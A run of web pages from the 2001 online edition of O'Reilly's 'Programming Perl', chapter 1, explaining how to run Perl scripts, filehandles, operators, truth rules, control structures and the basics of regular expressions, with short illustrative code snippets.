On other operating systems, you may have to fiddle with the quotes some. But the basic principle is the same: you're trying to cram everything Perl needs to know into 80 columns or so.[12]

[12] These types of scripts are often referred to as "one-liners". If you ever end up hanging out with other Perl programmers, you'll find that some of us are quite fond of creating intricate one-liners. Perl has occasionally been maligned as a write-only language because of these shenanigans.

For longer scripts, you can use your favorite text editor (or any other text editor) to put all your commands into a file and then, presuming you named the script gradation (not to be confused with graduation), you'd say:

% perl gradation
You're still invoking the Perl interpreter explicitly, but at least you don't have to put everything on the command line every time. And you no longer have to fiddle with quotes to keep the shell happy.

The most convenient way to invoke a script is just to name it directly (or click on it), and let the operating system find the interpreter for you. On some systems, there may be ways of associating various file extensions or directories with a particular application. On those systems, you should do whatever it is you do to associate the Perl script with the perl interpreter. On Unix systems that support the #! "shebang" notation (and most Unix systems do, nowadays), you can make the first line of your script be magical, so the operating system will know which program to run. Put a line resembling line 1 of our example into your program:

#!/usr/bin/perl
(If perl isn't in /usr/bin, you'll have to change the #! line accordingly.) Then all you have to say is:
% gradation
Of course, this didn't work because you forgot to make sure the script was executable (see the manpage for chmod(1)) and in your PATH. If it isn't in your PATH, you'll have to provide a complete filename so that the operating system knows how to find your script. Something like:
% /home/sharon/bin/gradation
Finally, if you are unfortunate enough to be on an ancient Unix system that doesn't support the magic #! line, or if the path to your interpreter is longer than 32 characters (a built-in limit on many systems), you may be able to work around it like this:
#!/bin/sh -- # perl, to stop looping
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
    if 0;
Some operating systems may require variants of this to deal with /bin/csh, DCL, COMMAND.COM, or whatever happens to be your default command interpreter. Ask your Local Expert.

Throughout this book, we'll just use #!/usr/bin/perl to represent all these notions and notations, but you'll know what we really mean by it.

A random clue: when you write a test script, don't call your script test. Unix systems have a built-in test command, which will likely be executed instead of your script. Try try instead.

A not-so-random clue: while learning Perl, and even after you think you know what you're doing, we suggest using the -w switch, especially during development. This option will turn on all sorts of useful and interesting warning messages, not necessarily in that order. You can put the -w switch on the shebang line, like this:

#!/usr/bin/perl -w
Now that you know how to run your own Perl program (not to be confused with the perl program), let's get back to our example.

Previous | Home | Next
1.2. Natural and Artificial Languages | Book Index | 1.4. Filehandles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Filehandles (Programming Perl)

 Book Home Programming PerlSearch this book

1.4. Filehandles

Unless you're using artificial intelligence to model a solipsistic philosopher, your program needs some way to communicate with the outside world. In lines 3 and 4 of our Average Example you'll see the word GRADES, which exemplifies another of Perl's data types, the filehandle. A filehandle is just a name you give to a file, device, socket, or pipe to help you remember which one you're talking about, and to hide some of the complexities of buffering and such. (Internally, filehandles are similar to streams from a language like C++ or I/O channels from BASIC.)

Filehandles make it easier for you to get input from and send output to many different places. Part of what makes Perl a good glue language is that it can talk to many files and processes at once. Having nice symbolic names for various external objects is just part of being a good glue language.[13]

[13] Some of the other things that make Perl a good glue language are: it's 8-bit clean, it's embeddable, and you can embed other things in it via extension modules. It's concise, and it "networks" easily. It's environmentally conscious, so to speak. You can invoke it in many different ways (as we saw earlier). But most of all, the language itself is not so rigidly structured that you can't get it to "flow" around your problem. It comes back to that TMTOWTDI thing again.

You create a filehandle and attach it to a file by using open. The open function takes at least two parameters: the filehandle and filename you want to associate it with. Perl also gives you some predefined (and preopened) filehandles. STDIN is your program's normal input channel, while STDOUT is your program's normal output channel. And STDERR is an additional output channel that allows your program to make snide remarks off to the side while it transforms (or attempts to transform) your input into your output.[14]

[14] These filehandles are typically attached to your terminal, so you can type to your program and see its output, but they may also be attached to files (and such). Perl can give you these predefined handles because your operating system already provides them, one way or another. Under Unix, processes inherit standard input, output, and error from their parent process, typically a shell. One of the duties of a shell is to set up these I/O streams so that the child process doesn't need to worry about them.

Since you can use the open function to create filehandles for various purposes (input, output, piping), you need to be able to specify which behavior you want. As you might do on the command line, you simply add characters to the filename.

open(SESAME, "filename")               # read from existing file
open(SESAME, "<filename")              #   (same thing, explicitly)
open(SESAME, ">filename")              # create file and write to it
open(SESAME, ">>filename")             # append to existing file
open(SESAME, "| output-pipe-command")  # set up an output filter
open(SESAME, "input-pipe-command |")   # set up an input filter
As you can see, the name you pick for the filehandle is arbitrary. Once opened, the filehandle SESAME can be used to access the file or pipe until it is explicitly closed (with, you guessed it, close(SESAME)), or until the filehandle is attached to another file by a subsequent open on the same filehandle.[15]

[15]Opening an already opened filehandle implicitly closes the first file, making it inaccessible to the filehandle, and opens a different file. You must be careful that this is what you really want to do. Sometimes it happens accidentally, like when you say open($handle,$file), and $handle happens to contain a constant string. Be sure to set $handle to something unique, or you'll just open a new file on the same filehandle. Or you can leave $handle undefined, and Perl will fill it in for you.

Once you've opened a filehandle for input, you can read a line using the line reading operator, <>. This is also known as the angle operator because it's made of angle brackets. The angle operator encloses the filehandle (<SESAME>) you want to read lines from. The empty angle operator, <>, will read lines from all the files specified on the command line, or STDIN, if none were specified. (This is standard behavior for many filter programs.) An example using the STDIN filehandle to read an answer supplied by the user would look something like this:

print STDOUT "Enter a number: ";          # ask for a number
$number = <STDIN>;                        # input the number
print STDOUT "The number is $number.\n";  # print the number
Did you see what we just slipped by you? What's that STDOUT doing there in those print statements? Well, that's just one of the ways you can use an output filehandle. A filehandle may be supplied as the first argument to the print statement, and if present, tells the output where to go. In this case, the filehandle is redundant, because the output would have gone to STDOUT anyway. Much as STDIN is the default for input, STDOUT is the default for output. (In line 18 of our Average Example, we left it out to avoid confusing you up till now.)

If you try the previous example, you may notice that you get an extra blank line. This happens because the line-reading operation does not automatically remove the newline from your input line (your input would be, for example, "9\n"). For those times when you do want to remove the newline, Perl provides the chop and chomp functions. chop will indiscriminately remove (and return) the last character of the string, while chomp will only remove the end of record marker (generally, "\n") and return the number of characters so removed. You'll often see this idiom for inputting a single line:

chop($number = <STDIN>);    # input number and remove newline
which means the same thing as:
$number = <STDIN>;          # input number
chop($number);              # remove newline

Previous | Home | Next
1.3. An Average Example | Book Index | 1.5. Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Operators (Programming Perl)

 Book Home Programming PerlSearch this book

1.5. Operators

As we alluded to earlier, Perl is also a mathematical language. This is true at several levels, from low-level bitwise logical operations, up through number and set manipulation, on up to larger predicates and abstractions of various sorts. And as we all know from studying math in school, mathematicians love strange symbols. What's worse, computer scientists have come up with their own versions of these strange symbols. Perl has a number of these strange symbols too, but take heart, most are borrowed directly from C, FORTRAN, sed(1) or awk(1), so they'll at least be familiar to users of those languages.

The rest of you can take comfort in knowing that, by learning all these strange symbols in Perl, you've given yourself a head start on all those other strange languages.

Perl's built-in operators may be classified by number of operands into unary, binary, and trinary (or ternary) operators. They may be classified by whether they're prefix operators (which go in front of their operands) or infix operators (which go in between their operands). They may also be classified by the kinds of objects they work with, such as numbers, strings, or files. Later, we'll give you a table of all the operators, but first here are some handy ones to get you started.

1.5.1. Some Binary Arithmetic Operators

Arithmetic operators do what you would expect from learning them in school. They perform some sort of mathematical function on numbers. For example:

Example | Name | Result
$a + $b | Addition | Sum of $a and $b
$a * $b | Multiplication | Product of $a and $b
$a % $b | Modulus | Remainder of $a divided by $b
$a ** $b | Exponentiation | $a to the power of $b

Yes, we left out subtraction and division--we suspect you can figure out how they should work. Try them and see if you're right. (Or cheat and look in Chapter 3, "Unary and Binary Operators".) Arithmetic operators are evaluated in the order your math teacher taught you (exponentiation before multiplication; multiplication before addition). You can always use parentheses to make it come out differently.

1.5.2. String Operators

There is also an "addition" operator for strings that performs concatenation (that is, joining strings end to end). Unlike some languages that confuse this with numeric addition, Perl defines a separate operator (.) for string concatenation:

$a = 123;
$b = 456;
print $a + $b;     # prints 579
print $a . $b;     # prints 123456

There's also a "multiply" operator for strings, called the repeat operator. Again, it's a separate operator (x) to keep it distinct from numeric multiplication:

$a = 123;
$b = 3;
print $a * $b;     # prints 369
print $a x $b;     # prints 123123123
These string operators bind as tightly as their corresponding arithmetic operators. The repeat operator is a bit unusual in taking a string for its left argument but a number for its right argument. Note also how Perl is automatically converting from numbers to strings. You could have put all the literal numbers above in quotes, and it would still have produced the same output. Internally though, it would have been converting in the opposite direction (that is, from strings to numbers).

A couple more things to think about. String concatenation is also implied by the interpolation that happens in double-quoted strings. And when you print out a list of values, you're also effectively concatenating strings. So the following three statements produce the same output:

print $a . ' is equal to ' . $b . ".\n";    # dot operator
print $a, ' is equal to ', $b, ".\n";       # list
print "$a is equal to $b.\n";               # interpolation
Which of these you use in any particular situation is entirely up to you. (But bear in mind that interpolation is often the most readable.)

The x operator may seem relatively worthless at first glance, but it is quite useful at times, especially for things like this:

print "-" x $scrwid, "\n";
which draws a line across your screen, presuming $scrwid contains your screen width, and not your screw identifier.

1.5.3. Assignment Operators

Although it's not exactly a mathematical operator, we've already made extensive use of the simple assignment operator, =. Try to remember that = means "gets set to" rather than "equals". (There is also a mathematical equality operator == that means "equals", and if you start out thinking about the difference between them now, you'll save yourself a lot of headache later. The == operator is like a function that returns a Boolean value, while = is more like a procedure that is evaluated for the side effect of modifying a variable.)

Like the operators described earlier, assignment operators are binary infix operators, which means they have an operand on either side of the operator. The right operand can be any expression you like, but the left operand must be a valid lvalue (which, when translated to English, means a valid storage location like a variable, or a location in an array). The most common assignment operator is simple assignment. It determines the value of the expression on its right side, and then sets the variable on the left side to that value:

$a = $b;
$a = $b + 5;
$a = $a * 3;
Notice the last assignment refers to the same variable twice; once for the computation, once for the assignment. There's nothing wrong with that, but it's a common enough operation that there's a shortcut for it (borrowed from C). If you say:
lvalue operator= expression
it is evaluated as if it were:
lvalue = lvalue operator expression
except that the lvalue is not computed twice. (This only makes a difference if evaluation of the lvalue has side effects. But when it does make a difference, it usually does what you want. So don't sweat it.)

So, for example, you could write the previous example as:

$a *= 3;
which reads "multiply $a by 3". You can do this with almost any binary operator in Perl, even some that you can't do it with in C:
$line .= "\n";  # Append newline to $line.
$fill x= 80;    # Make string $fill into 80 repeats of itself.
$val ||= "2";   # Set $val to 2 if it isn't already "true".
Line 6 of our Average Example[16] contains two string concatenations, one of which is an assignment operator. And line 14 contains a +=.

[16]Thought we'd forgotten it, didn't you?

Regardless of which kind of assignment operator you use, the final value of the variable on the left is returned as the value of the assignment as a whole.[17] This will not surprise C programmers, who will already know how to use this idiom to zero out variables:

$a = $b = $c = 0;
You'll also frequently see assignment used as the condition of a while loop, as in line 4 of our average example.

[17] This is unlike, say, Pascal, in which assignment is a statement and returns no value. We said earlier that assignment is like a procedure, but remember that in Perl, even procedures return values.

What will surprise C programmers is that assignment in Perl returns the actual variable as an lvalue, so that you can modify the same variable more than once in a statement. For instance, you could say:

($temp -= 32) *= 5/9;
to do an in-place conversion from Fahrenheit to Celsius. This is also why earlier in this chapter we could say:
chop($number = <STDIN>);
and have it chop the final value of $number. Generally speaking, you can use this feature whenever you want to copy something and at the same time do something else with it.

1.5.4. Unary Arithmetic Operators

As if $variable += 1 weren't short enough, Perl borrows from C an even shorter way to increment a variable. The autoincrement (and autodecrement) operators simply add (or subtract) one from the value of the variable. They can be placed on either side of the variable, depending on when you want them to be evaluated:

Example | Name | Result
++$a, $a++ | Autoincrement | Add 1 to $a
--$a, $a-- | Autodecrement | Subtract 1 from $a

If you place one of these "auto" operators before the variable, it is known as a pre-incremented (pre-decremented) variable. Its value will be changed before it is referenced. If it is placed after the variable, it is known as a post-incremented (post-decremented) variable, and its value is changed after it is used. For example:

$a = 5;        # $a is assigned 5
$b = ++$a;     # $b is assigned the incremented value of $a, 6
$c = $a--;     # $c is assigned 6, then $a is decremented to 5
Line 15 of our Average Example increments the number of scores by one, so that we'll know how many scores we're averaging. It uses a post-increment operator ($scores++), but in this case it doesn't matter, since the expression is in a void context, which is just a funny way of saying that the expression is being evaluated only for the side effect of incrementing the variable. The value returned is being thrown away.[18]

[18] The optimizer will notice this and optimize the post-increment into a pre-increment, because that's a bit faster to execute. (You didn't need to know that, but we hoped it would cheer you up.)

1.5.5. Logical Operators

Logical operators, also known as "short-circuit" operators, allow the program to make decisions based on multiple criteria without using nested if statements. They are known as short-circuit operators because they skip (short circuit) the evaluation of their right argument if they decide the left argument has already supplied enough information to decide the overall value. This is not just for efficiency. You are explicitly allowed to depend on this short-circuiting behavior to avoid evaluating code in the right argument that you know would blow up if the left argument were not "guarding" it. You can say "California or bust!" in Perl without busting (presuming you do get to California).

Perl actually has two sets of logical operators, a traditional set borrowed from C and a newer (but even more traditional) set of ultralow-precedence operators borrowed from BASIC. Both sets contribute to readability when used appropriately. C's punctuational operators work well when you want your logical operators to bind more tightly than commas, while BASIC's word-based operators work well when you want your commas to bind more tightly than your logical operators. Often they work the same, and which set you use is a matter of personal preference. (For contrastive examples, see Section 1.20, "Logical and, or, not, and xor" in Chapter 3, "Unary and Binary Operators".) Although the two sets of operators are not interchangeable due to precedence, once they're parsed, the operators themselves behave identically; precedence merely governs the extent of their arguments. Table 1-1 lists logical operators.

Table 1.1. Logical Operators

Example | Name | Result
$a && $b | And | $a if $a is false, $b otherwise
$a || $b | Or | $a if $a is true, $b otherwise
! $a | Not | True if $a is not true
$a and $b | And | $a if $a is false, $b otherwise
$a or $b | Or | $a if $a is true, $b otherwise
not $a | Not | True if $a is not true
$a xor $b | Xor | True if $a or $b is true, but not both

Since the logical operators "short-circuit" the way they do, they're often used in Perl to conditionally execute code. The following line (line 3 from our Average Example) tries to open the file grades:

open(GRADES, "grades") or die "Can't open file grades: $!\n";
If it opens the file, it will jump to the next line of the program. If it can't open the file, it will provide us with an error message and then stop execution.

Literally, this line means "Open grades or bust!" Besides being another example of natural language, the short-circuit operators preserve the visual flow. Important actions are listed down the left side of the screen, and secondary actions are hidden off to the right. (The $! variable contains the error message returned by the operating system--see Chapter 28, "Special Names".) Of course, these logical operators can also be used within the more traditional kinds of conditional constructs, such as the if and while statements.

1.5.6. Some Numeric and String Comparison Operators

Comparison, or relational, operators tell us how two scalar values (numbers or strings) relate to each other. There are two sets of operators; one does numeric comparison and the other does string comparison. (In either case, the arguments will be "coerced" to have the appropriate type first.) Assuming left and right arguments of $a and $b, we have:

Comparison | Numeric | String | Return Value
Equal | == | eq | True if $a is equal to $b
Not equal | != | ne | True if $a is not equal to $b
Less than | < | lt | True if $a is less than $b
Greater than | > | gt | True if $a is greater than $b
Less than or equal | <= | le | True if $a not greater than $b
Comparison | <=> | cmp | 0 if equal, 1 if $a greater, -1 if $b greater

The last pair of operators (<=> and cmp) are entirely redundant. However, they're incredibly useful in sort subroutines (see Chapter 29, "Functions").[19]

[19] Some folks feel that such redundancy is evil because it keeps a language from being minimalistic, or orthogonal. But Perl isn't an orthogonal language; it's a diagonal language. By this we mean that Perl doesn't force you to always go at right angles. Sometimes you just want to follow the hypotenuse of the triangle to get where you're going. TMTOWTDI is about shortcuts. Shortcuts are about efficiency.

1.5.7. Some File Test Operators

The file test operators allow you to test whether certain file attributes are set before you go and blindly muck about with the files. The most basic file attribute is, of course, whether the file exists. For example, it would be very nice to know whether your mail aliases file already exists before you go and open it as a new file, wiping out everything that was in there before. Here are a few of the file test operators:

Example | Name | Result
-e $a | Exists | True if file named in $a exists
-r $a | Readable | True if file named in $a is readable
-w $a | Writable | True if file named in $a is writable
-d $a | Directory | True if file named in $a is a directory
-f $a | File | True if file named in $a is a regular file
-T $a | Text File | True if file named in $a is a text file

You might use them like this:

-e "/usr/bin/perl" or warn "Perl is improperly installed\n";
-f "/vmlinuz" and print "I see you are a friend of Linus\n";
Note that a regular file is not the same thing as a text file. Binary files like /vmlinuz are regular files, but they aren't text files. Text files are the opposite of binary files, while regular files are the opposite of "irregular" files like directories and devices.

There are a lot of file test operators, many of which we didn't list. Most of the file tests are unary Boolean operators, which is to say they take only one operand (a scalar that evaluates to a filename or a filehandle), and they return either a true or false value. A few of them return something fancier, like the file's size or age, but you can look those up when you need them in the section Section 1.10, "Named Unary and File Test Operators" in Chapter 3, "Unary and Binary Operators".

Previous | Home | Next
1.4. Filehandles | Book Index | 1.6. Control Structures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Control Structures (Programming Perl)

 Book Home Programming PerlSearch this book

1.6. Control Structures

So far, except for our one large example, all of our examples have been completely linear; we executed each command in order. We've seen a few examples of using the short-circuit operators to cause a single command to be (or not to be) executed. While you can write some very useful linear programs (a lot of CGI scripts fall into this category), you can write much more powerful programs if you have conditional expressions and looping mechanisms. Collectively, these are known as control structures. So you can also think of Perl as a control language.

But to have control, you have to be able to decide things, and to decide things, you have to know the difference between what's true and what's false.

1.6.1. What Is Truth?

We've bandied about the term truth,[20] and we've mentioned that certain operators return a true or a false value. Before we go any further, we really ought to explain exactly what we mean by that. Perl treats truth a little differently than most computer languages, but after you've worked with it a while, it will make a lot of sense. (Actually, we hope it'll make a lot of sense after you've read the following.)

[20] Strictly speaking, this is not true.

Basically, Perl holds truths to be self-evident. That's a glib way of saying that you can evaluate almost anything for its truth value. Perl uses practical definitions of truth that depend on the type of thing you're evaluating. As it happens, there are many more kinds of truth than there are of nontruth.

Truth in Perl is always evaluated in a scalar context. Other than that, no type coercion is done. So here are the rules for the various kinds of values a scalar can hold:

  1. Any string is true except for "" and "0".

  2. Any number is true except for 0.

  3. Any reference is true.

  4. Any undefined value is false.

Actually, the last two rules can be derived from the first two. Any reference (rule 3) would point to something with an address and would evaluate to a number or string containing that address, which is never 0 because it's always defined. And any undefined value (rule 4) would always evaluate to 0 or the null string.

And in a way, you can derive rule 2 from rule 1 if you pretend that everything is a string. Again, no string coercion is actually done to evaluate truth, but if the string coercion were done, then any numeric value of 0 would simply turn into the string "0" and be false. Any other number would not turn into the string "0", and so would be true. Let's look at some examples so we can understand this better:

0          # would become the string "0", so false.
1          # would become the string "1", so true.
10 - 10    # 10 minus 10 is 0, would convert to string "0", so false.
0.00       # equals 0, would convert to string "0", so false.
"0"        # is the string "0", so false.
""         # is a null string, so false.
"0.00"     # is the string "0.00", neither "" nor "0", so true!
"0.00" + 0 # would become the number 0 (coerced by the +), so false.
\$a        # is a reference to $a, so true, even if $a is false.
undef()    # is a function returning the undefined value, so false.
Since we mumbled something earlier about truth being evaluated in a scalar context, you might be wondering what the truth value of a list is. Well, the simple fact is, none of the operations in Perl will return a list in a scalar context. They'll all notice they're in a scalar context and return a scalar value instead, and then you apply the rules of truth to that scalar. So there's no problem, as long as you can figure out what any given operator will return in a scalar context. As it happens, both arrays and hashes return scalar values that conveniently happen to be true if the array or hash contains any elements. More on that later.

1.6.1.1. The if and unless statements

We saw earlier how a logical operator could function as a conditional. A slightly more complex form of the logical operators is the if statement. The if statement evaluates a truth condition (that is, a Boolean expression) and executes a block if the condition is true:

if ($debug_level > 0) {
    # Something has gone wrong.  Tell the user.
    print "Debug: Danger, Will Robinson, danger!\n";
    print "Debug: Answer was '54', expected '42'.\n";
}
A block is one or more statements grouped together by a set of braces. Since the if statement executes a block, the braces are required by definition. If you know a language like C, you'll notice that this is different. Braces are optional in C if you have a single statement, but the braces are not optional in Perl.

Sometimes, just executing a block when a condition is met isn't enough. You may also want to execute a different block if that condition isn't met. While you could certainly use two if statements, one the negation of the other, Perl provides a more elegant solution. After the block, if can take an optional second condition, called else, to be executed only if the truth condition is false. (Veteran computer programmers will not be surprised at this point.)

At times you may even have more than two possible choices. In this case, you'll want to add an elsif truth condition for the other possible choices. (Veteran computer programmers may well be surprised by the spelling of "elsif", for which nobody here is going to apologize. Sorry.)

if ($city eq "New York") {
    print "New York is northeast of Washington, D.C.\n";
}
elsif ($city eq "Chicago") {
    print "Chicago is northwest of Washington, D.C.\n";
}
elsif ($city eq "Miami") {
    print "Miami is south of Washington, D.C.  And much warmer!\n";
}
else {
    print "I don't know where $city is, sorry.\n";
}

The if and elsif clauses are each computed in turn, until one is found to be true or the else condition is reached. When one of the conditions is found to be true, its block is executed and all remaining branches are skipped. Sometimes, you don't want to do anything if the condition is true, only if it is false. Using an empty if with an else may be messy, and a negated if may be illegible; it sounds weird in English to say "if not this is true, do something". In these situations, you would use the unless statement:

unless ($destination eq $home) {
    print "I'm not going home.\n";
}
There is no elsunless though. This is generally construed as a feature.

1.6.2. Iterative (Looping) Constructs

Perl has four main iterative statement types: while, until, for, and foreach. These statements allow a Perl program to repeatedly execute the same code.

1.6.2.1. The while and until statements

The while and until statements behave just like the if and unless statements, except that they'll execute the block repeatedly. That is, they loop. First, the conditional part of the statement is checked. If the condition is met (if it is true for a while or false for an until), the block of the statement is executed.

while ($tickets_sold < 10000) {
    $available = 10000 - $tickets_sold;
    print "$available tickets are available.  How many would you like: ";
    $purchase = <STDIN>;
    chomp($purchase);
    $tickets_sold += $purchase;
}
Note that if the original condition is never met, the loop will never be entered at all. For example, if we've already sold 10,000 tickets, we might want to have the next line of the program say something like:
print "This show is sold out, please come back later.\n";
In our Average Example earlier, line 4 reads:
while ($line = <GRADES>) {
This assigns the next line to the variable $line and, as we explained earlier, returns the value of $line so that the condition of the while statement can evaluate $line for truth. You might wonder whether Perl will get a false negative on blank lines and exit the loop prematurely. The answer is that it won't. The reason is clear if you think about everything we've said. The line input operator leaves the newline on the end of the string, so a blank line has the value "\n". And you know that "\n" is not one of the canonical false values. So the condition is true, and the loop continues even on blank lines.

On the other hand, when we finally do reach the end of the file, the line input operator returns the undefined value, which always evaluates to false. And the loop terminates, just when we wanted it to. There's no need for an explicit test of the eof function in Perl, because the input operators are designed to work smoothly in a conditional context.

In fact, almost everything is designed to work smoothly in a conditional (Boolean) context. If you mention an array in a scalar context, the length of the array is returned. So you often see command-line arguments processed like this:

while (@ARGV) {
    process(shift @ARGV);
}
The shift operator removes one element from the argument list each time through the loop (and returns that element). The loop automatically exits when array @ARGV is exhausted, that is, when its length goes to 0. And 0 is already false in Perl. In a sense, the array itself has become "false".[21]

[21] This is how Perl programmers think. So there's no need to compare 0 to 0 to see if it's false. Despite the fact that other languages force you to, don't go out of your way to write explicit comparisons like while (@ARGV != 0). That's just inefficient for both you and the computer. And anyone who has to maintain your code.

1.6.2.2. The for statement

Another iterative statement is the for loop. The for loop runs exactly like the while loop, but looks a good deal different. (C programmers will find it very familiar though.)

for ($sold = 0; $sold < 10000; $sold += $purchase) {
    $available = 10000 - $sold;
    print "$available tickets are available.  How many would you like: ";
    $purchase = <STDIN>;
    chomp($purchase);
}
This for loop takes three expressions within the loop's parentheses: an expression to set the initial state of the loop variable, a condition to test the loop variable, and an expression to modify the state of the loop variable. When a for loop starts, the initial state is set and the truth condition is checked. If the condition is true, the block is executed. When the block finishes, the modification expression is executed, the truth condition is again checked, and if true, the block is rerun with the next value. As long as the truth condition remains true, the block and the modification expression will continue to be executed. (Note that only the middle expression is evaluated for its value. The first and third expressions are evaluated only for their side effects, and the resulting values are thrown away!)

1.6.2.3. The foreach statement

The last of Perl's iterative statements is the foreach statement, which is used to execute the same code for each of a known set of scalars, such as an array:

foreach $user (@users) {
    if (-f "$home{$user}/.nexrc") {
        print "$user is cool... they use a perl-aware vi!\n";
    }
}
Unlike the if and while statements, which provide scalar context to a conditional expression, the foreach statement provides a list context to the expression in parentheses. So the expression is evaluated to produce a list (not a scalar, even if there's only one scalar in the list). Then each element of the list is aliased to the loop variable in turn, and the block of code is executed once for each list element. Note that the loop variable refers to the element itself, rather than a copy of the element. Hence, modifying the loop variable also modifies the original array.

You'll find many more foreach loops in the typical Perl program than for loops, because it's very easy in Perl to generate the kinds of lists that foreach wants to iterate over. One idiom you'll often see is a loop to iterate over the sorted keys of a hash:

foreach $key (sort keys %hash) {
In fact, line 9 of our Average Example does precisely that.

1.6.2.4. Breaking out: next and last

The next and last operators allow you to modify the flow of your loop. It is not at all uncommon to have a special case; you may want to skip it, or you may want to quit when you encounter it. For example, if you are dealing with Unix accounts, you may want to skip the system accounts (like root or lp). The next operator would allow you to skip to the end of your current loop iteration, and start the next iteration. The last operator would allow you to skip to the end of your block, as if your loop's test condition had returned false. This might be useful if, for example, you are looking for a specific account and want to quit as soon as you find it.

foreach $user (@users) {
    if ($user eq "root" or $user eq "lp") {
        next;
    }
    if ($user eq "special") {
        print "Found the special account.\n";
        # do some processing
        last;
    }
}
It's possible to break out of multilevel loops by labeling your loops and specifying which loop you want to break out of. Together with statement modifiers (another form of conditional which we'll talk about later), this can make for extremely readable loop exits (if you happen to think English is readable):
LINE: while ($line = <ARTICLE>) {
    last LINE if $line eq "\n"; # stop on first blank line
    next LINE if $line =~ /^#/; # skip comment lines
    # your ad here
}

You may be saying, "Wait a minute, what's that funny ^# thing there inside the leaning toothpicks? That doesn't look much like English." And you're right. That's a pattern match containing a regular expression (albeit a rather simple one). And that's what the next section is about. Perl is the best text processing language in the world, and regular expressions are at the heart of Perl's text processing.

Previous | Home | Next
1.5. Operators | Book Index | 1.7. Regular Expressions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Regular Expressions (Programming Perl)

 Book Home Programming PerlSearch this book

1.7. Regular Expressions

Regular expressions (a.k.a. regexes, regexps, or REs) are used by many search programs such as grep and findstr, text-munging programs like sed and awk, and editors like vi and emacs. A regular expression is a way of describing a set of strings without having to list all the strings in your set.[22]

[22] A good source of information on regular expression concepts is Jeffrey Friedl's book, Mastering Regular Expressions (O'Reilly & Associates).

Many other computer languages incorporate regular expressions (some of them even advertise "Perl5 regular expressions"!), but none of these languages integrates regular expressions into the language the way Perl does. Regular expressions are used several ways in Perl. First and foremost, they're used in conditionals to determine whether a string matches a particular pattern, because in a Boolean context they return true and false. So when you see something that looks like /foo/ in a conditional, you know you're looking at an ordinary pattern-matching operator:

if (/Windows 95/) { print "Time to upgrade?\n" }

Second, if you can locate patterns within a string, you can replace them with something else. So when you see something that looks like s/foo/bar/, you know it's asking Perl to substitute "bar" for "foo", if possible. We call that the substitution operator. It also happens to return true or false depending on whether it succeeded, but usually it's evaluated for its side effect:

s/Windows/Linux/;

Finally, patterns can specify not only where something is, but also where it isn't. So the split operator uses a regular expression to specify where the data isn't. That is, the regular expression defines the separators that delimit the fields of data. Our Average Example has a couple of trivial examples of this. Lines 5 and 12 each split strings on the space character in order to return a list of words. But you can split on any separator you can specify with a regular expression:

($good, $bad, $ugly) = split(/,/, "vi,emacs,teco");
(There are various modifiers you can use in each of these situations to do exotic things like ignore case when matching alphabetic characters, but these are the sorts of gory details that we'll cover later when we get to the gory details.)

The simplest use of regular expressions is to match a literal expression. In the case of the split above, we matched on a single comma character. But if you match on several characters in a row, they all have to match sequentially. That is, the pattern looks for a substring, much as you'd expect. Let's say we want to show all the lines of an HTML file that contain HTTP links (as opposed to FTP links). Let's imagine we're working with HTML for the first time, and we're being a little na&#239;ve. We know that these links will always have "http:" in them somewhere. We could loop through our file with this:

while ($line = <FILE>) {
    if ($line =~ /http:/) {
        print $line;
    }
}
Here, the =~ (pattern-binding operator) is telling Perl to look for a match of the regular expression "http:" in the variable $line. If it finds the expression, the operator returns a true value and the block (a print statement) is executed.[23]

[23] This is very similar to what the Unix command grep 'http:' file would do. On MS-DOS you could use the find command, but it doesn't know how to do more complicated regular expressions. (However, the misnamed findstr program of Windows NT does know about regular expressions.)

By the way, if you don't use the =~ binding operator, Perl will search a default string instead of $line. It's like when you say, "Eek! Help me find my contact lens!" People automatically know to look around near you without your actually having to tell them that. Likewise, Perl knows that there is a default place to search for things when you don't say where to search for them. This default string is actually a special scalar variable that goes by the odd name of $_. In fact, it's not the default just for pattern matching; many operators in Perl default to using the $_ variable, so a veteran Perl programmer would likely write the last example as:

while (<FILE>) {
    print if /http:/;
}
(Hmm, another one of those statement modifiers seems to have snuck in there. Insidious little beasties.)

This stuff is pretty handy, but what if we wanted to find all of the link types, not just the HTTP links? We could give a list of link types, like "http:", "ftp:", "mailto:", and so on. But that list could get long, and what would we do when a new kind of link was added?

while (<FILE>) {
    print if /http:/;
    print if /ftp:/;
    print if /mailto:/;
    # What next?
}

Since regular expressions are descriptive of a set of strings, we can just describe what we are looking for: a number of alphabetic characters followed by a colon. In regular expression talk (Regexese?), that would be /[a-zA-Z]+:/, where the brackets define a character class. The a-z and A-Z represent all alphabetic characters (the dash means the range of all characters between the starting and ending character, inclusive). And the + is a special character that says "one or more of whatever was before me". It's what we call a quantifier, meaning a gizmo that says how many times something is allowed to repeat. (The slashes aren't really part of the regular expression, but rather part of the pattern-match operator. The slashes are acting like quotes that just happen to contain a regular expression.)

Because certain classes like the alphabetics are so commonly used, Perl defines shortcuts for them:

Name | ASCII Definition | Code
Whitespace | [ \t\n\r\f] | \s
Word character | [a-zA-Z_0-9] | \w
Digit | [0-9] | \d

Note that these match single characters. A \w will match any single word character, not an entire word. (Remember that + quantifier? You can say \w+ to match a word.) Perl also provides the negation of these classes by using the uppercased character, such as \D for a nondigit character.

We should note that \w is not always equivalent to [a-zA-Z_0-9] (and \d is not always [0-9]). Some locales define additional alphabetic characters outside the ASCII sequence, and \w respects them. Newer versions of Perl also know about Unicode letter and digit properties and treat Unicode characters with those properties accordingly. (Perl also considers ideographs to be \w characters.)

There is one other very special character class, written with a ".", that will match any character whatsoever.[24] For example, /a./ will match any string containing an "a" that is not the last character in the string. Thus it will match "at" or "am" or even "a!", but not "a", since there's nothing after the "a" for the dot to match. Since it's searching for the pattern anywhere in the string, it'll match "oasis" and "camel", but not "sheba". It matches "caravan" on the first "a". It could match on the second "a", but it stops after it finds the first suitable match, searching from left to right.

[24] Except that it won't normally match a newline. When you think about it, a "." doesn't normally match a newline in grep(1) either.

1.7.1. Quantifiers

The characters and character classes we've talked about all match single characters. We mentioned that you could match multiple "word" characters with \w+. The + is one kind of quantifier, but there are others. All of them are placed after the item being quantified.

